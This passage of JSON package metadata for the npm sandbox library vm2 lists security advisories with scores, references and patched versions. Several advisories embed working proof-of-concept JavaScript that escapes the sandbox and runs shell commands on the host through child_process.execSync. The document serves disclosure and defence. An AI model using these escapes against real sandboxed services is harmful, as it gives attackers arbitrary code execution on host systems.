files**\n[poc.js](https://github.com/user-attachments/files/25285089/poc.js)","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-05-05T16:44:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-ffh4-j6h5-pg66","https://nvd.nist.gov/vuln/detail/CVE-2026-26956","https://github.com/patriksimek/vm2/releases/tag/v3.10.5","https://github.com/advisories/GHSA-ffh4-j6h5-pg66"],"source_kind":"github","identifiers":["GHSA-ffh4-j6h5-pg66","CVE-2026-26956"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T17:00:09.066Z","updated_at":"2026-10-16T06:03:02.634Z","epss_percentage":0.00921,"epss_percentile":0.59534,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZmg0LWo2aDUtcGc2Ns4ABWLY","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mZmg0LWo2aDUtcGc2Ns4ABWLY","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.10.5","vulnerable_version_range":"\u003c= 3.10.4"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZmg0LWo2aDUtcGc2Ns4ABWLY/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01NWh4LWM5MjYtZnI5Nc4ABWLX","url":"https://github.com/advisories/GHSA-55hx-c926-fr95","title":"VM2 Has a Sandbox Escape Issue via SuppressedError","description":"In vm2 v3.10.4 on Node.js v24.13.0, `SuppressedError` allows attackers to escape the sandbox and run arbitrary code.\n\n### PoC\n```js\nconst { VM } = require(\"vm2\");\n\nconst vm = new VM();\n\nvm.run(`\nconst ds = new DisposableStack();\nds.defer(() =\u003e { throw null; });\nds.defer(() =\u003e {\n  const e = Error();\n  e.name = Symbol();\n  e.stack;\n});\ntry {\n  ds.dispose();\n} catch(e) {\n  const Function = e.suppressed.constructor.constructor;\n  const process = new Function(\"return process;\")();\n  const { execSync } = process.mainModule.require(\"node:child_process\");\n  execSync(\"echo pwned\", { stdio: \"inherit\" });\n}\n`);\n```","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-05-05T16:33:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-55hx-c926-fr95","https://nvd.nist.gov/vuln/detail/CVE-2026-26332","https://github.com/patriksimek/vm2/commit/119fd0aa1e4c27b08cf37946b2dafa99e2c754f0","https://github.com/patriksimek/vm2/commit/4cb82cc94d9bb6c9a918b45f8c6790c32a5e913f","https://github.com/patriksimek/vm2/commit/7395c3a4b01d302e55271c87dbeb44d6b83b81ca","https://github.com/patriksimek/vm2/commit/792e16d56ee429ab19e284ed9c545f5e4694fb7d","https://github.com/patriksimek/vm2/commit/d715dd88c5aec5bbb4dce03ddf7c3eb3791d0338","https://github.com/patriksimek/vm2/releases/tag/v3.11.0","https://github.com/advisories/GHSA-55hx-c926-fr95"],"source_kind":"github","identifiers":["GHSA-55hx-c926-fr95","CVE-2026-26332"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T17:00:09.066Z","updated_at":"2026-10-16T06:03:47.888Z","epss_percentage":0.00741,"epss_percentile":0.53606,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01NWh4LWM5MjYtZnI5Nc4ABWLX","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01NWh4LWM5MjYtZnI5Nc4ABWLX","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.0","vulnerable_version_range":"\u003c= 3.10.4"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01NWh4LWM5MjYtZnI5Nc4ABWLX/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12MzdoLTVtZm0tYzQ3Y84ABWLW","url":"https://github.com/advisories/GHSA-v37h-5mfm-c47c","title":"VM2 Has Sandbox Breakout Through Inspect Function","description":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability through the `inspect` function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe node `inspect` method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the `this.seen` of the `stylize` function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.\n\n### PoC\n\n```js\nconst obj = {\n\tsubarray: Buffer.prototype.inspect,\n\tslice: Buffer.prototype.slice,\n\thexSlice:()=\u003e'',\n\tl:{__proto__: null}\n};\n\nobj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {\n\tif (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;\n\treturn a;\n}});\nobj.l.x.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-05-05T16:33:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-v37h-5mfm-c47c","https://nvd.nist.gov/vuln/detail/CVE-2026-24781","https://github.com/patriksimek/vm2/commit/8d30d93213c1898b3e035298b89a814970dd1189","https://github.com/patriksimek/vm2/commit/bdd3d15e57bc4ec5e70365cd79f7cb0256e5f88c","https://github.com/patriksimek/vm2/commit/fd266d084e0a3322d0f71ba2a8dc4c96cd030228","https://github.com/patriksimek/vm2/releases/tag/v3.11.0","https://github.com/advisories/GHSA-v37h-5mfm-c47c"],"source_kind":"github","identifiers":["GHSA-v37h-5mfm-c47c","CVE-2026-24781"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T17:00:09.066Z","updated_at":"2026-10-12T12:05:01.474Z","epss_percentage":0.01186,"epss_percentile":0.66522,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12MzdoLTVtZm0tYzQ3Y84ABWLW","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12MzdoLTVtZm0tYzQ3Y84ABWLW","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.0","vulnerable_version_range":"\u003c= 3.10.3"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12MzdoLTVtZm0tYzQ3Y84ABWLW/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xdmpqLTI5cWYtaHA3cM4ABWLU","url":"https://github.com/advisories/GHSA-qvjj-29qf-hp7p","title":"VM2 Has Sandbox Breakout Through Promise Species","description":"### Summary\n\nThe fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 is insufficient and can be circumvented allowing attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 introduced the function `resetPromiseSpecies` https://github.com/patriksimek/vm2/blob/4b009c2d4b1131c01810c1205e641d614c322a29/lib/setup-sandbox.js#L35C7-L39.\nThis function changes the `species` property of promise objects back to a known value. However, it uses the function `[].includes` and `Object.defineProperty` which can be overewritten to prevent the species from being changed.\n\n### PoC\n\nThe following code demonstrates this issue by aquiring the host process object and executing `touch pwned`.\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nvm.run(`\nObject.defineProperty=()=\u003e{};\nasync function fn() {\n    const e = new Error();\n    e.name = Symbol();\n    return e.stack;\n}\np = fn();\np.constructor = {\n    [Symbol.species]: class FakePromise {\n        constructor(executor) {\n            executor(\n                (x) =\u003e x,\n                (err) =\u003e { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); }\n            )\n        }\n    }\n};\np.then();\n`);\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-05-05T16:23:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5","https://github.com/patriksimek/vm2/security/advisories/GHSA-qvjj-29qf-hp7p","https://nvd.nist.gov/vuln/detail/CVE-2026-24120","https://github.com/patriksimek/vm2/releases/tag/v3.10.5","https://github.com/advisories/GHSA-qvjj-29qf-hp7p"],"source_kind":"github","identifiers":["GHSA-qvjj-29qf-hp7p","CVE-2026-24120"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T17:00:09.066Z","updated_at":"2026-10-16T06:03:47.889Z","epss_percentage":0.00896,"epss_percentile":0.58682,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xdmpqLTI5cWYtaHA3cM4ABWLU","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xdmpqLTI5cWYtaHA3cM4ABWLU","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.10.5","vulnerable_version_range":"\u003c= 3.10.3"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xdmpqLTI5cWYtaHA3cM4ABWLU/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ncmo1LWpqbTgtaDM1cM4ABWHy","url":"https://github.com/advisories/GHSA-grj5-jjm8-h35p","title":"VM2 Sandbox Breakout Through __lookupGetter__","description":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe `__lookupGetter__` method allows to read the getter of an object. It is special in VM2 since it will switch between the host and sandbox version of the method when passed to the other context.\nThis allows to access getters on an object in the host context if the method is called from the host context which can be achieved by using the host `apply` method which can be accessed through `Buffer.apply`.\nAfterwards, this function can be used to call the host version of `__lookupGetter__` with `Buffer` and `__proto__` resulting in the prototype lookup method from the host context.\nWith this method the hosts `Function.prototype` object can be retrieved and the host `Function` acquired through the `constructor` property which allows to create and run code in the host context.\nThis issue was attempted to be fixed with https://github.com/patriksimek/vm2/blob/4b009c2d4b1131c01810c1205e641d614c322a29/lib/bridge.js#L427. However, this can be circumvented by using `Object.getOwnPropertyDescriptor` to get the `constructor` property.\n\n### PoC\n\nThe following code demonstrates this issue by acquiring the host process object and executing `touch pwned`.\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nvm.run(`\nconst g = ({}).__lookupGetter__;\nconst a = Buffer.apply;\nconst p = a.apply(g, [Buffer, ['__proto__']]);\nObject.getOwnPropertyDescriptor(p.call(a),'constructor').value('return process')().mainModule.require('child_process').execSync('touch pwned');\n`);\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-05-04T16:29:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p","https://github.com/patriksimek/vm2/commit/2b5f3e3a060d9088f5e1cdd585d683d491f990a3","https://github.com/patriksimek/vm2/commit/f9b700b1c7d9ef2df416666cb24e0b659140cc74","https://github.com/patriksimek/vm2/releases/tag/v3.11.0","https://nvd.nist.gov/vuln/detail/CVE-2026-24118","https://github.com/advisories/GHSA-grj5-jjm8-h35p"],"source_kind":"github","identifiers":["GHSA-grj5-jjm8-h35p","CVE-2026-24118"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-04T17:00:08.825Z","updated_at":"2026-10-12T12:05:08.651Z","epss_percentage":0.00905,"epss_percentile":0.5854,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ncmo1LWpqbTgtaDM1cM4ABWHy","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ncmo1LWpqbTgtaDM1cM4ABWHy","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.0","vulnerable_version_range":"\u003c= 3.10.4"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ncmo1LWpqbTgtaDM1cM4ABWHy/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05OXA3LTZ2NXctN3hnOM4ABRlH","url":"https://github.com/advisories/GHSA-99p7-6v5w-7xg8","title":"vm2 has a Sandbox Escape","description":"In vm2 for version 3.10.0, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.\n\n```js\nconst { VM } = require(\"vm2\");\n\nconst code = `\nconst error = new Error();\nerror.name = Symbol();\nconst f = async () =\u003e error.stack;\nconst promise = f();\npromise.catch(e =\u003e {\n    const Error = e.constructor;\n    const Function = Error.constructor;\n    const f = new Function(\n        \"process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })\"\n    );\n    f();\n});\n`;\n\nnew VM().run(code);\n```\n\nIn lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-01-26T18:57:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-99p7-6v5w-7xg8","https://github.com/patriksimek/vm2/commit/4b009c2d4b1131c01810c1205e641d614c322a29","https://github.com/patriksimek/vm2/releases/tag/v3.10.2","https://nvd.nist.gov/vuln/detail/CVE-2026-22709","https://github.com/advisories/GHSA-99p7-6v5w-7xg8"],"source_kind":"github","identifiers":["GHSA-99p7-6v5w-7xg8","CVE-2026-22709"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-01-26T19:00:07.172Z","updated_at":"2026-10-16T06:05:44.152Z","epss_percentage":0.01289,"epss_percentile":0.69637,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05OXA3LTZ2NXctN3hnOM4ABRlH","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05OXA3LTZ2NXctN3hnOM4ABRlH","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.10.2","vulnerable_version_range":"\u003c= 3.10.1"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05OXA3LTZ2NXctN3hnOM4ABRlH/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jY2hxLWZyZ3YtcmpoNc4AA0sM","url":"https://github.com/advisories/GHSA-cchq-frgv-rjh5","title":"vm2 Sandbox Escape vulnerability","description":"In vm2 for versions up to 3.9.19, `Promise` handler sanitization can be bypassed, allowing attackers to escape the sandbox and run arbitrary code.\n\n### Impact\nRemote Code Execution, assuming the attacker has arbitrary code execution primitive inside the context of vm2 sandbox.\n\n### Patches\nNone.\n\n### Workarounds\nNone.\n\n### References\nPoC - https://gist.github.com/leesh3288/f693061e6523c97274ad5298eb2c74e9\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [VM2](https://github.com/patriksimek/vm2)\n\nThanks to [Xion](https://twitter.com/0x10n) (SeungHyun Lee) of [KAIST Hacking Lab](https://kaist-hacking.github.io/) for disclosing this vulnerability.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2023-07-13T17:02:02.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5","https://nvd.nist.gov/vuln/detail/CVE-2023-37466","https://gist.github.com/leesh3288/f693061e6523c97274ad5298eb2c74e9","https://security.netapp.com/advisory/ntap-20230831-0007","https://security.netapp.com/advisory/ntap-20241108-0002","https://github.com/patriksimek/vm2/commit/d9a1fde8ec5a5a9c9e5a69bf91d703950859d744","https://github.com/patriksimek/vm2/releases/tag/v3.10.0","https://github.com/advisories/GHSA-cchq-frgv-rjh5"],"source_kind":"github","identifiers":["GHSA-cchq-frgv-rjh5","CVE-2023-37466"],"repository_url":"https://github.com/patriksimek/vm2","blast_radius":0.0,"created_at":"2023-07-13T18:03:53.987Z","updated_at":"2026-10-12T12:08:12.590Z","epss_percentage":0.03867,"epss_percentile":0.89502,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jY2hxLWZyZ3YtcmpoNc4AA0sM","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jY2hxLWZyZ3YtcmpoNc4AA0sM","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c= 3.9.19"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jY2hxLWZyZ3YtcmpoNc4AA0sM/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nNjQ0LTlnZngtcTRxNM4AA0sL","url":"https://github.com/advisories/GHSA-g644-9gfx-q4q4","title":"vm2 Sandbox Escape vulnerability","description":"In vm2 for versions up to 3.9.19, Node.js custom inspect function allows attackers to escape the sandbox and run arbitrary code.\n\n### Impact\nRemote Code Execution, assuming the attacker has arbitrary code execution primitive inside the context of vm2 sandbox.\n\n### Patches\nNone.\n\n### Workarounds\nNone.\n\n### References\nPoC is to be disclosed on or after the 5th of September.\n\n### Similarity with [CVE-2023-37466](https://nvd.nist.gov/vuln/detail/CVE-2023-37466)\nWhile this advisory might look similar to [CVE-2023-37466](https://nvd.nist.gov/vuln/detail/CVE-2023-37466), it is a completely different way of escaping the sandbox.\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [VM2](https://github.com/patriksimek/vm2)\n\nThanks to [Xion](https://twitter.com/0x10n) (SeungHyun Lee) of [KAIST Hacking Lab](https://kaist-hacking.github.io/) for disclosing this vulnerability.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2023-07-13T17:01:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-g644-9gfx-q4q4","https://nvd.nist.gov/vuln/detail/CVE-2023-37903","https://security.netapp.com/advisory/ntap-20230831-0007","https://security.netapp.com/advisory/ntap-20241108-0002","https://github.com/advisories/GHSA-g644-9gfx-q4q4"],"source_kind":"github","identifiers":["GHSA-g644-9gfx-q4q4","CVE-2023-37903"],"repository_url":"https://github.com/patriksimek/vm2","blast_radius":0.0,"created_at":"2023-07-13T18:03:54.002Z","updated_at":"2026-10-12T12:19:54.911Z","epss_percentage":0.04215,"epss_percentile":0.90522,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNjQ0LTlnZngtcTRxNM4AA0sL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nNjQ0LTlnZngtcTRxNM4AA0sL","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.9.19"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNjQ0LTlnZngtcTRxNM4AA0sL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wNWdjLWM1ODQtamo2ds4AAzXv","url":"https://github.com/advisories/GHSA-p5gc-c584-jj6v","title":"vm2 vulnerable to Inspect Manipulation","description":"In versions 3.9.17 and lower of vm2 it was possible to get a read-write reference to the node `inspect` method and edit options for `console.log`.\n\n### Impact\nA threat actor can edit options for `console.log`.\n\n### Patches\nThis vulnerability was patched in the release of version `3.9.18` of `vm2`.\n\n### Workarounds\nAfter creating a vm make the `inspect` method readonly with `vm.readonly(inspect)`.\n\n### References\nPoC - https://gist.github.com/arkark/c1c57eaf3e0a649af1a70c2b93b17550\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [VM2](https://github.com/patriksimek/vm2)\n\nThanks to @arkark (Takeshi Kaneko) of GMO Cybersecurity by Ierae, Inc. for disclosing this vulnerability.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-05-17T03:49:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-p5gc-c584-jj6v","https://nvd.nist.gov/vuln/detail/CVE-2023-32313","https://github.com/patriksimek/vm2/commit/5206ba25afd86ef547a2c9d48d46ca7a9e6ec238","https://gist.github.com/arkark/c1c57eaf3e0a649af1a70c2b93b17550","https://github.com/patriksimek/vm2/releases/tag/3.9.18","https://github.com/advisories/GHSA-p5gc-c584-jj6v"],"source_kind":"github","identifiers":["GHSA-p5gc-c584-jj6v","CVE-2023-32313"],"repository_url":"https://github.com/patriksimek/vm2","blast_radius":0.0,"created_at":"2023-05-17T04:03:16.423Z","updated_at":"2026-10-12T14:13:24.372Z","epss_percentage":0.0079,"epss_percentile":0.54512,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNWdjLWM1ODQtamo2ds4AAzXv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wNWdjLWM1ODQtamo2ds4AAzXv","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.9.18","vulnerable_version_range":"\u003c 3.9.18"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNWdjLWM1ODQtamo2ds4AAzXv/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13aHBqLThmM3ctNjdwNc4AAzV1","url":"https://github.com/advisories/GHSA-whpj-8f3w-67p5","title":"vm2 Sandbox Escape vulnerability","description":"A sandbox escape vulnerability exists in vm2 for versions up to 3.9.17. It abuses an unexpected creation of a host object based on the specification of `Proxy`.\n\n### Impact\nA threat actor can bypass the sandbox protections to gain remote code execution rights on the host running the sandbox.\n\n### Patches\nThis vulnerability was patched in the release of version `3.9.18` of `vm2`.\n\n### Workarounds\nNone.\n\n### References\nPoC - https://gist.github.com/arkark/e9f5cf5782dec8321095be3e52acf5ac\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [VM2](https://github.com/patriksimek/vm2)\n\nThanks to @arkark (Takeshi Kaneko) of GMO Cybersecurity by Ierae, Inc. for disclosing this vulnerability.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2023-05-15T20:50:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-whpj-8f3w-67p5","https://github.com/patriksimek/vm2/commit/d88105f99752305c5b8a77b63ddee3ec86912daf","https://github.com/patriksimek/vm2/releases/tag/3.9.18","https://nvd.nist.gov/vuln/detail/CVE-2023-32314","https://gist.github.com/arkark/e9f5cf5782dec8321095be3e52acf5ac","https://github.com/advisories/GHSA-whpj-8f3w-67p5"],"source_kind":"github","identifiers":["GHSA-whpj-8f3w-67p5","CVE-2023-32314"],"repository_url":"https://github.com/patriksimek/vm2","blast_radius":0.0,"created_at":"2023-05-15T21:03:18.606Z","updated_at":"2026-10-12T14:13:24.387Z","epss_percentage":0.08127,"epss_percentile":0.94508,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13aHBqLThmM3ctNjdwNc4AAzV1","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13aHBqLThmM3ctNjdwNc4AAzV1","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.9.18","vulnerable_version_range":"\u003c 3.9.18"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13aHBqLThmM3ctNjdwNc4AAzV1/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/vm2","docker_dependents_count":2772,"docker_downloads_count":986148180,"usage_url":"https://repos.ecosyste.ms/usage/npm/vm2","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/vm2/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-10-13T06:19:43.238Z","issues_count":100,"pull_requests_count":49,"avg_time_to_close_issue":6475998.297297297,"avg_time_to_close_pull_request":4964635.0,"issues_closed_count":74,"pull_requests_closed_count":40,"pull_request_authors_count":19,"issue_authors_count":80,"avg_comments_per_issue":4.41,"avg_comments_per_pull_request":1.5918367346938775,"merged_pull_requests_count":29,"bot_issues_count":0,"bot_pull_requests_count":10,"past_year_issues_count":14,"past_year_pull_requests_count":18,"past_year_avg_time_to_close_issue":1803431.857142857,"past_year_avg_time_to_close_pull_request":770255.5,"past_year_issues_closed_count":7,"past_year_pull_requests_closed_count":10,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":8,"past_year_avg_comments_per_issue":0.6428571428571429,"past_year_avg_comments_per_pull_request":0.7777777777777778,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":6,"past_year_merged_pull_requests_count":6,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/issues","maintainers":[{"login":"XmiliaH","count":18,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/XmiliaH"},{"login":"patriksimek","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patriksimek"},{"login":"patriksimek-bot","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patriksimek-bot"}],"active_maintainers":[{"login":"patriksimek","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patriksimek"},{"login":"patriksimek-bot","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patriksimek-bot"},{"login":"XmiliaH","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/XmiliaH"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/vm2/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/vm2/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/vm2/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/vm2/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/vm2/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/vm2/codemeta","maintainers":[{"uuid":"patriksimek","login":"patriksimek","name":null,"email":"p.simek@make.com","url":null,"packages_count":31,"html_url":"https://www.npmjs.com/~patriksimek","role":null,"created_at":"2022-11-10T11:56:02.928Z","updated_at":"2022-11-10T11:56:02.928Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/patriksimek/packages"}]}